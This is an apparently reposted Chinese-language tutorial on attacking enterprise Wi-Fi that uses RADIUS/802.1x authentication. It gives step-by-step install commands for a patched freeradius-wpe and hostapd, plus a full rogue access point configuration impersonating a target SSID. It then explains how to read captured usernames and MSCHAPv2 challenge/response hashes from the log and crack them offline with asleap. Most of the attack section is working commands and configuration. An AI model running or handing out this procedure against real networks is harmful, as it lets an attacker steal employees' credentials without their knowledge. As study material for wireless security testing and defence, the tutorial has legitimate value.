破解使用radius實現802.1x認證的企業無線網路

wyzsk發表於2020-08-19
作者: mickey · 2015/09/02 11:57

0x01前言概述


針對開放式(沒有密碼)無線網路的企業攻擊,我個人感覺比較經典的攻擊方式有2種,一種是eviltwin,一種是karmakarma應該是eviltwin攻擊手法的升級版,攻擊者只需要簡單的監聽客戶端發的ssid探測和響應包就可以實現中間人了,受害者很少會有察覺。而且坊間曾有一個錯誤的認識,認為隱藏的ssid是不受karma影響的。但是實際情況是,客戶端如果曾經連線過隱藏的ssid,也會廣播這些網路的探測包。儘管karma這種攻擊方式已經有10多年的歷史了,但是在MAC OSX,ubuntu,老版本的andorid系統上依然有效。win7的預設配置居然是防護karma攻擊的。

對加密的無線網路,針對個人網路,很多是使用wpa2-psk預共享金鑰的方法來限制訪問。而公司的無線網路有使用wpa2企業認證的,也有使用radius服務提供獨立的使用者名稱和密碼來實現802.1x標準認證的。

0x02 實現過程


我這裡是的攻擊是使用hostapd扮演一個無線訪問點,然後透過打補丁的freeraidus wpe來捕捉密碼hash,最後用asleep來離線破解密碼,來對抗相對安全的使用radius伺服器提供獨立的使用者名稱和密碼實現的802.1x認證的企業無線網路環境。

所需裝置:

TP-LINK TL-WN821N 
Kali 1.1.0

首先安裝freeradius-wpe,既可以使用dpkg直接安裝freeradius-server-wpe_2.1.12-1_i386.deb,也可以透過原始碼編譯來安裝,透過deb包安裝方法的命令如下:

wget https://github.com/brad-anton/freeradius-wpe/raw/master/freeradius-server-wpe_2.1.12-1_i386.deb
dpkg --install freeradius-server-wpe_2.1.12-1_i386.deb
ldconfig
cd /usr/local/etc/raddb/certs
./bootstrap && ldconfig

the progress pictures

透過原始碼安裝的步驟如下:

git clone https://github.com/brad-anton/freeradius-wpe.git
wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.12.tar.bz2  
tar jxvf freeradius-server-2.1.12.tar.bz2
patch -p1 < ../freeradius-wpe.patch   
./configure
make install

the progress pictures

然後執行radiusd -X開啟debug模式驗證是否安裝成功,如果執行此命令的時候提示

Failed binding to /usr/local/var/run/radiusd/radiusd.sock: No such file or directory

則需要建立相應的目錄

[email protected]:/usr/local/etc/raddb/certs# mkdir -p /usr/local/var/run/radiusd/

接下來安裝hostapd,命令如下:

wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz
tar zxvf hostapd-2.0.tar.gz
cd hostapd-2.0/hostapd/
cp defconfig .config
make

the progress pictures

如果安裝的時候提示:

../src/drivers/driver_nl80211.c:19:31: fatal error: netlink/genl/genl.h: No such file or directory
compilation terminated.
make: *** [../src/drivers/driver_nl80211.o] Error 1

則需要安裝libnl開發包,命令如下:

[email protected]:/hostapd-2.0/hostapd# sudo apt-get install libnl1 libnl-dev

然後編輯hostapd-wpe.conf檔案,如下

interface=wlan0
driver=nl80211
ssid=corp-lobby
country_code=DE
logger_stdout=-1
logger_stdout_level=0
dump_file=/tmp/hostapd.dump
ieee8021x=1
eapol_key_index_workaround=0
own_ip_addr=127.0.0.1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
channel=1
wpa_pairwise=CCMP
rsn_pairwise=CCMP

實際操作需要修改的地方只有ssid項,如果你的目標企業無線網路的ssid叫corp-lobby,則修改ssid=corp-lobby,執行 hostapd -dd hostapd-wpe.conf 開啟偽造的無線熱點

這時候如果有企業員工在你附近,他的手機會自動連線你的偽造的無線熱點,你就可以透過

tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

看到抓到的使用者名稱和MSCHAPv2的響應hash和挑戰hash。

the progress pictures

有了challenge和response,就可以使用asleep工具來基於字典的暴力破解,命令如下

the progress pictures

使用radius實現802.1x認證的企業無線網路相對來說還是比較安全的,如果每個使用者的密碼足夠複雜的話。後續的國外研究者也對這種攻擊增加了針對客戶端和路由裝置的心跳漏洞的工具,整合的專案叫cupid,有興趣的可以參考http://www.sysvalue.com/en/heartbleed-cupid-wireless/

0x03 參考文章


http://phreaklets.blogspot.sg/2013/06/cracking-wireless-networks-protected.html https://insights.sei.cmu.edu/cert/2015/08/instant-karma-might-still-get-you.html

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章